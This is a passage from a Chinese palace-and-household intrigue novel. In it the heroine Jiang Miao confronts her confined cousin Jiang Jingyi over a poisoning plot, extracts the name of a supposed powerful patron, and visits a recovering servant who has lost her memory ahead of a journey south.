“柳夫人不必过于忧心。”她清冷的声音突然打断母女二人间的低语:“真人虽说江小姐静修之时不可有外人打扰。但此去路远,路途上并非不能有人作陪。”
柳如云愕然地抬头:“三公主的意思……”
“本宫已经求得父皇恩准,此次南下,本宫将与江小姐同行。路上有皇家侍卫随行,安全上,柳夫人尽可宽心。”
此言一出,不仅柳如云更为困惑,连江渺也难掩惊讶之色,疑惑地看向南宫凝。
三公主一向深居简出,从不与外人交好。就因为她小小的帮助了一下南宫凝,她就要滴水之恩涌泉相报吗?
或者……是背后有更大的阴谋?南宫凝和安乐是一伙的?准备南下之时向她动手?
这个念头一闪而过,江渺又很快地将其否定掉。前世原主与三公主并无任何交情,当然也有可能是她并不知道这件事情,可今生她这是第一次见这位公主,再说,她是公主若真想对她不利,何必亲自前往南靖那偏僻之处,就为杀她?江渺觉得自己可没这么大的面子!
罢了。想不通的事情就搁一边,她得尽快将所需要的东西准备好,尽早出发。
江渺眼中的疑惑转瞬即逝,她又再次向南宫凝行礼道谢。
南宫凝并未多言其他,嘱咐江渺好好休息后,便转身回宫了。
翌日。
江渺休息一晚后,第二日一早就去了外院。
阿洛推开院门后,早有一女子站在门后等候,可是阿洛并不认识此人。先是一惊,随后又是疑惑,不由地质问道:“你是谁?为什么在这里?”
江渺拉住阿洛:“你看看,她到底是谁?”
“谁?”阿洛走上前,上
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下仔细打量了一番少女,任凭搜索脑中信息,也没能找出此人身份,但见她穿着打扮,隐约……
她不可置信的开口:“云杉?”
“聪明!”江渺给她点赞,云杉则点点头。
“可……”
“你是想说,她怎么变样子了是吧?”
阿洛迷茫地点头,就算是神仙在世,也不能在短短两三日内改变一个人的样貌吧?
云杉作为影魅的一员,那张脸就是陵王巩固自己政权的利器,江渺不可能不知道,如果将这样的云杉带在身边,无疑是带了一个定时炸弹,随时可能自取灭亡。
所以云杉答应留下来之时,江渺便想好了改变她容貌的办法。
这还是当年自己跟着师傅学到的秘而不传的易容术。
需利用数种极其罕见且药性霸道的草药熬炼成膏,配合金针刺穴,强行、暂时地改变面部肌肉走向与皮下组织的分布,从而重塑容貌轮廓。
此举,改变容貌者必须要承受常人不可承受之痛苦,且其效果因人而异,如果稍微有差错就是容颜尽毁的结果。
若不是不是万不得已,江渺也不想使用这个方法。
云杉听完江渺所言后果之后,神色丝毫未曾动摇,平静地接受自己的样貌会变美亦或尽毁的结果。
江渺望着她虽稚嫩却已然看得出绝色的面容,轻轻摇了摇头。
有句话怎么说的?美貌单出是死局。
或许如果不是她们姐妹过分美丽,她们便不会被掳走变成魅影的备选人,关在暗无天日的屋子里,受尽凌虐,最后成为一把麻木的利刃,刺向杀手想让它去的地方。
阿洛看着改头换面的云杉,也有点可惜。如今这幅新面容,普通,太普通了点。
云杉自己觉得甚好,有朝一日希望自己也能够找到姐姐,一起在一个普通的地方过普通的生活,那么她便很满足了。
江渺也很赞同,她也想普通的活着,活到大结局。
*
晚膳后不久,江璟儿回来了。
这一点倒是出乎意料。江渺本以为在贵妃盛怒彻查之下,江璟儿即便能撇清直接下毒的嫌疑,少不得也要被拘着仔细盘问几日,吃些苦头。
如今这么快便回府,只怕是……
她略一思付,大约猜到了几种可能。一是江璟儿果真将自己摘得极干净,咬死只是与赵婉欣寻常叙话,对其下毒之事毫不知情,甚至可能反咬赵婉欣攀诬,而赵婉欣那个替人挡刀的蠢货未必能拿出与江璟儿相关的证据。
二是贵妃目前心系郡主安危,首要追查的是毒物来源与直接经手人,对江璟儿在初步讯问无果后,暂时放回以便暗中观察也有可能。
第三,江渺大胆的猜测了一下,万安寺一事,提灯节行刺,绝非是简单谋划就能成事,后面也许还有一个更为隐蔽或强大之人在为其提供资源,而这个人也足以让贵妃忌惮,所以选择不动江璟儿?
无论如何,江璟儿能够这么快脱身,想必还留有后手。
她不能让她翻身起来,此去南靖,定要万无一失。
江渺放下手中的草药,对阿洛说道:“既然璟儿姐姐回来了,我们也应该去关心一番才是!”
29.孽障
转眼,盛夏已至。烈日当空,热气腾腾。
福绵院外的青石板上,江灵儿已不知跪了有多久。
自打得知江璟儿出了事,这个只知跟着江渺到处游玩的少女,骤然被抽去了全部的欢愉,固执地跪在叔父的院外,一遍遍恳求叔父想想办法救姐姐。
江渺从安国公府回来以后,也来劝过几次,她只是红着眼睛摇头,而后又想起贵女间议论渺姐姐和姐姐动了手之事,一时间心里五味杂陈。
渺姐姐,真的变了吗?她在那官眷贵女聚集之地都能伤害姐姐,那日她是不是冤枉了姐姐,才害得她想不开投毒?
姐姐那么温婉善良,况且又和安乐郡主素无交集,她怎么可能会去害郡主。
渺姐姐?一个念头在脑海中放大,是渺姐姐嫁祸姐姐?
这个想法猛地如同火花一般炸开,她的眉眼也染上了或惊惧,或失望,或不可置信的颜色,她突然伸出手推开了想要为她擦汗的江渺,失声喊道:“渺姐姐,是你,是你……”
江渺本就弯着腰,被这突如其来的一推,身形立刻不稳,就要向后倒去,还是阿洛眼疾手快扶住江渺。
一想到自家小姐被不分青红皂白的冤枉,阿洛想也没想就脱口而出:“灵儿小姐,您这是做什么?!”
江灵儿不去看她,只是盯着江渺略带怨恨地说道:“姐姐纵使有错,回到院子里来,我们姐妹任凭渺姐姐处置。可是,渺姐姐为何要在那大庭广众之下行此卑鄙手段,陷姐姐于那万劫不复之地!”
她这是怀疑她自导自演了这出好戏,就为了陷害江璟儿?虽然猜对了一半,可是这做与不做不是江璟儿自己选的?
江渺觉得有些好笑,话到嘴边还未开口,阿洛就气愤不已地质问道:“灵儿小姐口口声声说我们小姐卑鄙,那您可知那杯毒茶是冲着谁去的吗?”
“小姐!我们小姐!!”
江灵儿愕然抬头。
“若不是我们小姐得上天庇佑,没有喝下那杯毒茶,不然如今生死未卜的就是我家小姐了!到底是谁卑鄙?!难道灵儿小姐是怀疑贵妃娘娘冤枉好人吗?!”
“阿洛,失礼!”江渺立刻止住阿洛的话头,将她拉回到身后,又蹲下身子平视江灵儿:“灵儿,你姐姐到底做没有做,贵妃娘娘自有决断。你回去吧,父亲是不会出来的。”
江渺回了屋,听闻江灵儿还是跪在院子中,轻轻叹了口气。
姐妹情深固然是好,可是不辨是非,不论黑白,那么这情便成了利刃。
念及江灵儿心思单纯,太容易受人挑拨,江渺也未曾与她计较,略微一想或许这高门宅院的生活并不适合她,待到此间事了,再为她谋划一条稳妥的出路。
江渺嘱咐阿洛为江灵儿送些热食软垫过去后,便未再多问。直至晚间,也没有再见她。
这会儿主仆二人前后刚进入涵清阁,便见两名身形健硕的侍卫正将江璟儿的门户落锁,而后站在两旁禁止任何人进入。
江灵儿已然回来,桃儿扶着她想要说通侍卫让其进入看看江璟儿,侍卫却冷冷道:“老爷吩咐了,没有他的命令,任何人都不可以进去。”
也不知姐姐是否吃饱穿暖,心头有些担心,从怀里急急掏出几两碎银,伸手就往那侍卫怀里塞。
“小姐,我们也是奉命行事,请不要为难我们。”侍卫说着,毫不客气地身子一侧要躲开。
“啪”一声轻响,小布包从江灵儿手里坠落,又在地上滚了几圈才停下来。
“你们!”桃儿气不过,一边弯腰去捡碎银,一边嘟囔:“怎的这般不近人情……”她这一松手,本就因为久跪而脚下有些虚浮的江灵儿,顿时身形一晃,向后踉跄。
一只手臂及时从旁伸出,稳稳扶住了她的胳膊。
江灵儿愕然回头,正对上江渺沉静的眼眸。在那眼神里并没有责备,也没有她预想中的冰冷,只是那样平静地看着她,静得让江灵儿心头发慌,方才那点强撑的气势瞬间消散,只剩下无尽的羞愧与难堪。
“渺、渺姐姐……” 她呐呐地,想挣开,却又浑身无力。
江渺没有松开手,反而就着这个搀扶的姿势,将虚软的江灵儿带离了那扇紧闭的房门几步。
“父亲既然已经下令,便不会让她在里头挨冻受饿,你在此纠缠,除了让父亲更生气外,没有半分益处。”
江灵儿听着,顿时泪如雨下,她下意识拉住江渺的衣袖,张口欲言,可话到嘴边,想起阿洛那些掷地有声的质问,想起那杯险些让渺姐姐丧命的毒茶,所有求情的言语便都哽在了喉咙里,化作更汹涌的羞愧与痛苦。
姐姐若是真做了那等事,她还有什么脸面为姐姐开口?
“我知道你与璟儿姐姐相依为命,感情深厚。” 江渺看着她挣扎的模样,声音放缓了些,“但灵儿,你需明白,世间事,自有对错黑白。若因情而罔顾是非,那这份情,终会变成害人害己的利刃。”
她抬手,轻轻拂去江灵儿颊边滚落的泪珠,动作是罕见的柔和,目光却很是坚定:“父亲将她关起来,已是顾念了骨肉之情,给了她辩白的机会,也给了我们侯府转圜的余地。你若真心为她好,此刻便不该在此哭求,徒惹父亲烦忧,而应回去静静等待,相信等到一切被查明,自然会给出最公允的处置。”
江灵儿仰着脸,泪眼朦胧。她怔怔地看着眼前的江渺,从前的堂姐冲动易怒,骄横任性,她跟着她一起闯了不少祸事。而如今的渺姐姐沉着冷静,她的眼神中透着坚毅和通彻,让她隐隐有些敬佩。
连渺姐姐都长大了,那她还要一直那么不谙世事下去吗?
她慢慢松开紧攥着江渺衣袖的手,胡乱抹去脸上的泪痕,轻轻地点了点头:“我……我知道了,渺姐姐。”
“回去歇着吧,莫要胡思乱想。” 江渺示意桃儿上前扶好她,“照顾好你家小姐。”
目送江灵儿离开后,江渺这才让守着门的两位侍卫开门。
她在来之前,便已先去了一趟福绵院。
书
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房内气压低得骇人。江伯玉背对着门,负手立于窗前,背影僵直,透着浓重的疲惫与怒意。
安国公府之事已惊动朝堂,陛下虽未深究,却在今日早朝上当众斥责他与烈国公治家无度,门风有失,勒令闭门思过,整肃门庭。
这对素来注重清誉的江伯玉而言,不啻于当众掌掴。
“父亲。” 江渺轻声唤道,行礼后并未急于开口。
江伯玉缓缓转过身,脸色铁青,眼下带着明显的青黑,声音沙哑:“你都知道了?” 不待江渺回答,他便一掌重重拍在紫檀书案上,震得笔架砚台乱颤,“逆女!那江璟儿……还有那赵家的蠢货!竟在国公府丧仪上,在贵妃眼皮底下行此卑劣之事!如今闹出人命,陛下申饬,我长阳侯府的脸面……都被她丢尽了!”
他胸膛剧烈起伏,显是气得不轻。江渺静立一旁,待他怒气稍缓,才温声道:“父亲息怒。事已至此,雷霆之怒无益于解决困局。女儿方才听说,赵家小姐已然招认?”
江伯玉深吸一口气,勉强压下火气,沉声道:“招了!说是听了璟儿那孽障的哭诉挑唆,心怀怨愤,想让你当众出丑。她弄来的本是些令人腹痛失态的下作东西,绝非剧毒。她也咬死了不知毒从何来。”
他眼神里的怒火几欲喷出,“至于江璟儿,一问三不知,只道是赵婉欣自行其是,她全不知情。贵妃那边暂时没有直接证据,只能先将人放回,命我严加管束,务必查清毒源。”
他看向江渺,眼中情绪复杂,想到此毒是冲着江渺去的,心中又有几分后怕,若是女儿出事,那么如云怕……,这个想法让他瞬间浑身一颤,不由怒道:“此事……你受委屈了。为父无能,眼下……只能先将那孽障锁在涵清阁。陛下责令整肃门风,也必须有个交代。那孽障虽无直接证据,但挑唆构陷姊妹,引外人祸乱家门,其心可诛!”
“渺儿,你素来有主见,此事……为父想听听你的意思。”
江渺心中了然。
毕竟她是最大的苦主,如今父亲是想把处置江璟儿的权利交给她?
她略一沉吟,上前半步,沉声道:“父亲,陛下申饬,重在门风。眼下毒源未明,郡主之事自有宫中与京兆府追查。于我们侯府而言,当务之急是向外界表明整肃家宅、明辨是非的态度。”
她抬起眼,目光冷静:“赵婉欣既已招认构陷,人证确凿,可按家规严惩,并通报其本家,以示我侯府绝不袒护、亦不容外人欺辱自家女儿之决心。此举,亦可稍平贵妃心中对我们侯府管教不严的迁怒。”
“至于璟儿姐姐……”
江璟儿三番两次想要置她于死地,如今两人都已经撕破了脸,不可能再带着面具扮演姐妹情深,待她问出她身后之人,这颗毒牙她必须拔掉。
顿了顿,江渺接着道,“她是否知情下毒,暂无实证。但她挑唆外人,意图损害姊妹清誉,言行失德,败坏人伦,却是事实。在处置她之前,女儿想先见一见她,女儿也很好奇……她为什么这么做。”
30.虚伪
江伯玉并未阻拦,传下口令后,江渺便径直去了涵清阁。
打发走江灵儿后,江渺示意侍卫开锁,阿洛跟着她一起踏入了那间安静的内室。
这是江渺第二次踏入江璟儿的房间。
上一次江璟儿生病,她忙着与其争斗,并未注意房中陈设。
如今再一次踏进来,不由地仔细打量起这个地方。江璟儿的房间,比起暗香斋的宽敞明亮,陈设雅致,明显狭小许多,陈设也颇为简单。
一床,一桌,两椅,皆是半旧的黄瓜梨木,式样也是最寻常不过。半开的衣柜里叠放着日常穿着的衣服,有些已经因为清洗次数过多而有些发白。
最上层,却整整齐齐叠放着一套崭新的天青蓝色云纹绫裙,颜色清雅,料子细滑,在这满室简旧中显得格格不入,尤为醒目。
江渺认得,这是不久前柳如云为她裁制新衣时,她特意拣了这匹最雅致的天青蓝,亲自让人给江璟儿送去的。
她环顾四周过后,目光最终转向了床榻。
江璟儿面色苍白,眼下带着青黑,即便睡着,整个身子仍旧蜷缩着,双手紧紧地抓住被褥,眉眼间皆是惊惧。
皇城那种地方……
江渺不由地想起她陪原主待在水牢里见到的那些骇人景象。
忽地,像是记忆深处某根紧绷的弦被无形拨动,江渺的脑海中猝然涌入了一堆破碎的画面。
那夜,风很凉,地牢里很黑。周围是兴奋奔跑的老鼠,叽叽哇哇叫成一片。
原主蜷缩在角落里,一动也不动,仿佛已经和黑暗融为一体。她静静地听着,听着老鼠们的歌唱,听着隐约传来的打更声听着……不知从哪个极遥远的方向,顺着冰冷的风、透过厚重的石墙,隐约飘来的一两声沉闷的爆竹炸裂声。
可外面的喧嚣早已与她无关,母亲已死,父亲也不再管她,陛下早已下令将她论罪处刑,而她往后余生都将在这阴臭狭窄的肮脏之地度过……
正在此时,牢门锁链转动,刺耳的声音引得原主下意识地朝门口看去,昏黄的灯光中,江璟儿脸上浅浅的笑变得异常扎眼。
她居高临下地看着泥泞中的堂妹,轻启红唇:“渺妹妹,别来无恙啊。”
“明日清月妹妹就要风风光光嫁个凌王殿下了,而你却只能永远被困于此,你可甘心?”
她的声音听着有些魅惑,原主深深地望了她一眼,又埋下头去。
她已经在这场争夺战里成为了人人可憎的失败者,甘心与不甘心又有什么区别?
江璟儿仿佛没有看到她的抗拒,自顾自地说着:“你为他痴缠那么多年,名声尽毁。到头来,他却要娶别人……,哦,听说清月妹妹的嫁衣,还是婶母当年为你亲自备下的……”
原主的身子轻轻地颤抖了一下。
“你就这么认了?”
“就能看着害你沦为阶下囚之人,
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凤冠霞帔嫁给你心爱之人,从此尊荣无限?”
“就能忍受你的一切都成为她的囊中之物?”
“就……”
一声声,一句句的诘问,如同数不清的利箭狠狠地扎向原主。
“别说了!”原主的声音划破寂静的夜,尖锐地响彻地牢。
“她就要嫁给他了,穿着你的母亲为你准备的嫁衣!”
“我让你别说了!”
“从此夫妻恩爱,琴瑟相和,白头偕老……”
“你!”江璟儿的话音未落,只见黑暗中的人影猛地站起身来,如同离弦之箭一般朝她撞过来。
她来不及躲闪,身子狠狠地撞在墙上,一软,竟斜斜地倒了下去。
原主愕然地看着倒地的江璟儿,心中突然闪过一个想法……
不久后,她伪装成江璟儿的模样,从地牢里逃出,一路躲闪回到侯府,藏入了林清月的房间。
后来的事情江渺便知道了。
原来如此,原来如此。那时江渺就在想,原主已然被陛下下旨关押,如何能够出现在林清月的房间,又取其性命,行差踏错,最终走向万劫不复的地步。
原来是江璟儿步步算计,循循利诱。
顿时,江渺看向江璟儿的目光多了几缕厌恶。
像是察觉到有人,床上的江璟儿悠悠转醒。待看清来人,她忽地笑了。
“呵,渺妹妹来了,快坐。”
31.怪你
她的笑声太过尖利刺耳,像钝刀刮过瓷片。笑到极致处,竟是涕泪交流,浑身抑制不住地剧烈颤\抖,扶着冰凉雕花的床栏,咳得撕心裂肺,几乎要将五脏六腑都呕出来。
良久,她缓缓抬起头,脸上泪痕交错,混杂着脂粉,糊成一团狼狈的污迹。
目光幽幽地投向一直静立凝视、一言不发的江渺,那眼神里藏满了哀怨:“怪你……都怪你!!”
她似乎想从床上一跃而起,狠狠地掐住眼前之人的脖子,好让自己煎熬的心得到片刻的宁静,可是全身的疼痛让她动弹不得。
她失笑道:“明明婶母是疼我的……,如果没有你!”
江璟儿眼光钉在江渺身上,仿佛想将她的血肉剜下来:“如果没有你!这侯府嫡女的身份就是我的!这所有的尊荣也都是我的!连陵王妃的位置也应该是我的!而不是嫁到什么穷乡僻壤的阳原!”
她说着,目光变得迷离,好似陷入了某种美好的梦境:“那年,族长说,婶母痛失爱女,叔父欲为她在族里找一个合适的孩子过继过去。族长问我是否愿意。”
“我愿意。我当然愿意。我们父母走得早,我和灵儿早就受够了族里那些拜高踩低的家伙的欺凌,如今机会来了,我怎么可能会不抓住!”
她眸光一闪:“最开始叔父婶母待我们极好,我们像极了一家人。如果……”
江渺冷冷地开口将她话打断:“如果我不出现,你的美梦就可以持续下去。”
“所以,你恨我。你想夺回这一切。”
“是!”江璟儿像被点燃的炮仗,赫然怒道,眼中赤红,“若不是你凭空出现,这一切本该顺理成章归我所有!我又何须日夜殚精竭虑,如履薄冰,甚至不惜委身于……”
她的话语戛然而止,像是猛然咬住了自己的舌头,眼底飞快掠过一丝难以掩饰的惊惶与懊悔,脸色霎时又白了几分。
江渺岂会容她喘息?
话音如影随形,紧逼而上,将她未尽的话语彻底揭开:“委身于人。原来如此。怪不得,听到母亲有意将你许配给阳原的柳表哥时,你会如此失态,恍如晴天霹雳。”
她向前微倾,目光如炬,锁住江璟儿躲闪的眼眸,“因为你为了攀附权势、达成所愿,早已不惜代价,将自身与灵魂都典当了出去,岂能甘心再嫁与寻常人家?”
“你住口!休要胡言!”
江璟儿仿佛被踩中尾巴的猫,尖声厉喝:“你懂什么?!只要我能将你牢牢捏在掌心,再设法让柳如云生不出孩子,这长阳侯府的泼天富贵,未来还不是由我说了算!柳如云若在我掌控之中,江伯玉投鼠忌器,岂敢不听我的?届时,我想嫁给谁,想得到什么,还不是易如反掌!”
“你既已为达目的与他人暗通款曲,残害无辜,你以为事成之后你就能全身而退?你身后之人容得你随意嫁娶?”
江璟儿一愣,想起那双阴鸷的眼。
仅仅一瞬,那倔强与不甘又迅速爬回她的眼角眉梢。她梗着脖子,硬声道:“我……我自有我的法子!不劳你费心!”
江渺看着她强撑着的倔强,忽的轻笑出声:“你的法子?璟儿姐姐,你是在骗我还是在骗你自己?”
她不再逼近,反而后退一步,声音里带着雨夜的寒凉:“你身后之人,既能为你提供幽霜石,陀罗息这等罕见阴毒之物,也能将碧心培养成杀手,其势力与心思之深,真的是你能轻易揣度,随意摆脱的?”
“你之于他,是爱人?是宠物?或者……”
“只是一颗搅乱风云,谋取利益的棋子?”
江璟儿的双眸徒然转红,虽然仍旧盯着江渺,可那目光中明显带着一丝将信将疑的躲闪。
江渺见她这般反应,心下立时了然,自己方才那一番话,怕是歪打正着,戳中了某些不便言说的隐情。
她面上不显,思绪却飞快流转。如今的长阳侯府,门庭固然不似先祖时车马喧阗、宾客盈门,瞧着是有些日渐式微的光景,可到底还是顶着世袭罔替的侯爵架子,在昌都这天子脚下、勋贵云集之地盘根错节了数十年,那份沉在暗处的底蕴与人脉,又岂是表面风光可轻易衡量的?
不然凭借佳贵妃的聪慧,会同意江渺嫁入陵王府?
“璟儿姐姐聪明人,方知鸟尽弓藏,兔死狗烹的道……”
“住口!” 江璟儿突然厉声打断,声音尖利得变了调。
她猛地将头深埋下去,额头几乎抵住冰冷的床沿,整个身子不受控制地剧烈颤\抖起来,真真如寒风中的枯叶,抖若筛糠。
她用双手死死捂住自己的脸,仿佛要将那雷声,雨声,还有江渺的咄咄逼人一同隔绝在外。豆大的泪珠再无阻拦,从紧捂的指缝间争先恐后地溢出,顺着指节滚落,啪嗒啪嗒的落在床沿上。
不是的……不是江渺说的那样!
他是除却父母以外对她最好的人。
她想起那个人的眼睛,阴鸷的眼神下,在烛火摇曳的暗室里,也曾映出过她的影子,那般专注,仿佛她是世间唯一的珍宝。
在父母双亡、族人冷眼、带着灵儿彷徨无依的岁月里,是他伸出了手。
初到侯府立足、小心翼翼揣度柳如云心思、夜夜难眠的惶恐日子里,是他给了她支撑和方向。他教她看账,教她识人,教她在这深宅大院、乃至更广阔的天地间,如何保护自己,如何争取想要的一切。
他许诺的未来,是并肩俯瞰的锦绣山河,是无人再可轻侮的尊荣地位,是灵儿可以无忧无虑、风光出嫁的倚仗……
她不爱他,所以她看得清楚。那人为她付出了太多,他对她的感情岂容他人挑拨。
可,事到如今,她已然步步踏错,再无反悔的可能。那人的规劝言犹在耳,却已成遥远的、略带讽刺的回响。
就在她心潮剧烈起伏之时,江渺却又再次想起,这一次她问了一个毫不相干的问题,语气平淡得仿佛与她在讨论晚膳吃了什么,只听得她悠悠道:“璟儿姐姐,你的手,可还好?”
手?
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江璟儿茫然地看向自己的手,除却在佳贵妃那里吃了点苦头而造就的伤痕外,并无特殊。就在她揣测江渺此言何意时,因心神震荡而被掩盖的痛意自胳膊处一点点传来,她忽地想起那个被镯子划伤的伤口。
抬眼望去,黑白的光影里,透过翻飞的纱帘,江璟儿看到了桌上的那盒药膏。
似乎那日,灵儿给她的药膏,质地也是与此一般无二……
她猛地抬头望向江渺,泪水挂在眼角,人如风中残荷一般摇摆。
江渺对着她浅浅笑着:“璟儿姐姐,看样子是想起来了。”
“你对我下毒?”江璟儿恨恨问道。
“璟儿姐姐说的哪里话。”江渺微微偏头,语气全是讶异与无辜,仿佛对方问了一个极其荒唐的问题。
她怎的好意思问出下毒二字?眼前这人,为了一己私欲,栽赃陷害阿玉,对其下毒眼都不眨。为灭口,轻易让碧心顷刻毙命。更遑论三番两次,步步杀机,欲取她性命而后快。
她如今所为,不过是以其人之道,还治其人之身,何错之有?何须愧疚?
想到这里,江渺唇边的弧度深了些,眼底却更冷,气极反笑般慢声道:“这药膏,难道不是璟儿姐姐你,特意为阿玉备下的么?妹妹不过是……觉着此物珍贵,不忍明珠暗投,思来想去,还是物归原主最为妥当。姐姐怎么反倒恼了?”
江璟儿目光阴狠地看着她,仿佛想要将她咬碎。
“璟儿姐姐,你也无需恼怒。妹妹和你做一桩交易吧。若你说出你背后之人的身份,妹妹便为你寻来解药救你一命。”
“如何?”
解药?
安乐郡主生死未卜,贵妃忌惮她身后之人,将她软禁于此。她的秘密全都被江渺了若指掌。即使她真的拿到解药,侥幸活下来,那又如何?
那她从此以后就成为江渺案板上的鱼肉,任其宰割,永远受制于她。
仰人鼻息,战战兢兢,永无宁日。
甚至灵儿,连灵儿也会成为江渺随时可以拿来要挟她的软肋。
那样活着与死了有何区别!
真到了死胡同,江璟儿忽地不怕死了。以她的了解,江渺独自一人绝不可能将事情看得如此透彻,她背后定然有人指点。
她虽不知那人是谁,但如今朝堂局势波谲云诡,储位未明,各方势力暗流涌动。她必须保护好她身后之人,绝不能让她们顺藤摸瓜,查到任何蛛丝马迹。
许久,江璟儿缓缓地坐直身子,脸色苍白如纸,干涸得快开裂的唇\瓣上下轻启,轻轻道:“渺妹妹,事到如今,我不求你给我解药。但只有一件事情,你若答应我我便告诉你我所知道的一切。”
江渺颔首示意同意。
“替我照顾好灵儿。”
自不用她说,江渺也会照顾好灵儿。她轻言:“自然。”
得到她的承诺,江璟儿沉默了一瞬,慢慢说道:“他久居北郡,战功彪炳,威名……震慑天下。连宫中贵人也要忌惮三分。”
32.醒来
“睿王?”
江渺的声调微扬,显然有一丝意外。与身旁的阿洛互相对望一眼后,再次看向江璟儿:“你骗我?”
江璟儿仰起脸,冷笑道:“渺妹妹,我已告知你答案,信与不信全在于你。”
说完,她闭着眼睛躺下去,重重的倒在了凌乱的锦褥之间。大有要杀要剐悉听尊便的架势。
窗外那场来得及去的也快的瓢泼大雨渐渐止住,只剩下屋檐积水滴滴答答的响声。
江渺静静地站在原地看着背对她而眠的江璟儿,脸上看不出喜怒。
她不知道为什么一直功于心计的江璟儿怎么会将睿王推出来做挡箭牌。睿王久居北郡,月余前才被陛下下旨回到昌都,而江璟儿针对原主的这盘棋早已布局多年,一个远在北郡的人,如何能够操控这昌都的风雨?
或许是因为睿王杀名在外,江璟儿这一招是想祸水东引,让她去与睿王争斗?
江渺突然觉得很可笑。她终究还是没看懂,她已经不是从前那个冲动易怒,做事情不计较后果的原主了。
也罢。
再问下去,应该也得不到什么答案。有些事情还得靠她慢慢查。
江渺微微一拂袖,看了眼桌上的物品,阿洛立即会意将东西收起来。
“既如此,璟儿姐姐好自为之罢。”
*
去南靖之事,江渺决定得突然。许久未收到杨安石的信,一股莫名地担忧总是在心头萦绕,久久挥散不去。
涉及皇室婚嫁,本也就是各方势力互相搏斗。近来,江渺仔细思考了一番,佳贵妃能够那么快松口答应与侯府联姻,怕是不单单是看中了侯府在昌都的势力,也许背后另有隐情。
或许……是有何把柄握在江伯玉手中?
这个就不得而知了。可若真是这样,这婚事是原主千方百计求来的,怕就算没有林清月出现,原主也不能善终。
在现世时,江渺虽因科研工作繁忙,极少有时间沉浸于小说影视,但实验室里那些年轻的师妹们,闲暇时热烈讨论的各种宫斗宅斗剧情精髓,她亦曾零星入耳。
其中一条被反复提及的定律此刻清晰地浮现脑海:但凡能够在波谲云诡的后宫或深宅中脱颖而出、宠冠一时或独揽大权者,必有其远超常人的心计、手段与忍耐力,绝无侥幸。
而佳贵妃能屹立多年,其心智与掌控力,恐怕远超外人想象。江渺虽然继承了原主的部分记忆,已经提前知道了自己的结局,但她并不觉得自己可以在宫斗宅斗里全身而退。
当务之急还是要尽快将林清月找回来。
如今江璟儿被禁足,安乐亦还在生死边缘徘徊,想来暂时性命无忧,趁此机会,前往南靖,应该不会很危险。
江渺将如今的形势略作分析,心下稍定。正要休息之时,阿洛推门进来,轻声道:“小姐,阿泉刚刚递话过来,偏院里的丹桂醒了。”
醒了?太好了!
江渺眼中的疲惫一扫而过,这个消息来的太是时候了。若是能从丹桂口里得知有关于林清月的信息,南靖之行必将事半功倍!
她霍然起身:“走,立刻过去。轻声点,莫让人注意到了。”
阿洛点头。
偏院一处隐蔽的厢房内,药香袅袅。丹桂头上缠着厚厚的面纱,面色依旧苍白。但那双已经紧闭月余的双眼,此刻微微睁开,茫然地打量着房间内的一切。
“你们……是什么人?”
闻言,江渺微微一愣,目光瞬间落在阿泉的身上。
阿泉道:“回小姐,丹桂醒来就这样,似乎忘记了些事情。”她伸手指了指自己的脑袋。
江渺了然。丹桂头部受了重伤,能醒来已是万幸,记忆受损也是意料之中。看丹桂打量她的眼神,显然是已经完全不记得原主将她囚禁起来严刑拷打,欲杀人灭口的那段恐怖经历了。
这或许也是件好事,至少免去了许多解释和安抚的麻烦,也更容易重新获取信任。
江渺在床边的绣墩上坐下,脸上是温和有礼的道:“别怕,这里是安全的。我姓江,是长阳侯府的养女。”
丹桂脸上闪过一丝复杂的情绪,尤其是在听到养女二字时,她的眼眸亮了亮。随后上下打量了一眼江渺。眼前的女子衣着素雅而不失精致,容貌清丽,气质沉静,眉宇间并无骄矜之气,反而透着一种令人心安的稳重。随即,目光又落在她身旁的阿泉身上。
这些日子她虽然昏迷着,可是总迷迷糊糊听见有人在耳边说话,当她醒来见到的第一个人就是阿泉,心里已然存了几分信任。
阿泉道:“丹桂姑娘,你放心,就是我们小姐将你带回来的,也是小姐吩咐我们要细心照顾你。”
丹桂闻言,想要支撑起身体来道谢,又被江渺制止住:“你的伤才刚刚好,还需要好好休息。”
想了一想,江渺接着道:“丹桂姑娘,你还记得你昏迷前对我说过要来长阳侯府寻亲的事情吗?”
丹桂一愣,努力搜寻自己是否说过这样的话?想了一圈,也没有想起来。
她记得临行前老谷主嘱咐她,人心叵测,务必谨慎。因此,这一路北上,风餐露宿,她不敢与任何陌生人多言,有人搭讪问路,她也只茫然摇头,装作听不懂官话的南靖乡下人,一路几乎缄默,如履薄冰,才总算平安踏入了昌都巍峨的城门。
即便到了昌都,她也不敢直接去侯府,在昌都停留了数十日,处处打听有关于侯府之事。
只是侯府门第高,门风也紧,外人难窥究竟,真伪难辨。一连多日也只零星打听到多年前侯府夫人痛失爱女,思念成疾,几乎一病不起。后来,不知何处收养了一个年纪相仿的女孩,视若己出。
关于这位养女在市井间的说法褒贬不一,有说侯爷夫人对其宠溺非常,也有传言说此女性子娇纵,目中无人,名声不算太好。
丹桂听着这些窃窃
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私语,心中思量。侯爷夫人能为亲女悲伤成疾,又能为养女重现欢颜,想来是重情重义,心肠柔软之人。小姐若能认祖归宗,应该也能母慈子孝,安稳相伴。
至于……养女骄纵。传言大多都会夸大事实,不一定为真。然而,老谷主的警告言犹在耳。她不敢仅凭传闻就断定侯府上下皆善,更不敢直接登门。
思前想后,先试探一二,再决定是否出示玉佩,前来认亲。
记忆,在这里戛然而止。
丹桂还想再想一点什么,头却如同撕裂一般,她忍不住抱头痛呼出声。
江渺见状,立即站起身来让阿泉扶稳她,又从阿洛手里取过银针,缓缓地扎入头顶的穴位。
一息过后,丹桂从狂躁变得冷静,江渺拔出针来,轻声对她说道:“丹桂姑娘,你受了伤。不必勉强自己。”
丹桂睁眼看见江渺手中的银针,心头微怔。侯府小姐也会医术?她那目光温和有礼,却与传言并无半点相似之处。可想传言也并不可信。
江渺见她发愣,心知打探林清月所在一事并不可以着急,故意放慢了语速,只说:“姑娘不记得没关系,我也只是听姑娘这么说,随口提了一句。若是有什么帮得上忙的,姑娘尽可以告诉我的婢女。再过几日我们就要启程去南靖了,届时姑娘事情了却,也可以和我们一同返程。”
南靖?江小姐也要去南靖?是否和小姐有关?丹桂心中还有疑问,但不敢直言,只得点点头拜谢江渺好意。
江渺嘱咐阿泉好生看顾丹桂,便领着阿洛往福绵院去。
因着落霞的事情,如今暗香斋院子里的人已经被尽数更换。只是贴身侍女的人选迟迟未定
先前江渺向柳如云求了恩典想亲自相看,却因安国公府那桩意外耽搁了。柳如云忧心女儿南下随行的人手不足,午后便让管丫头的钱妈妈领了几人过来,供江渺挑选。
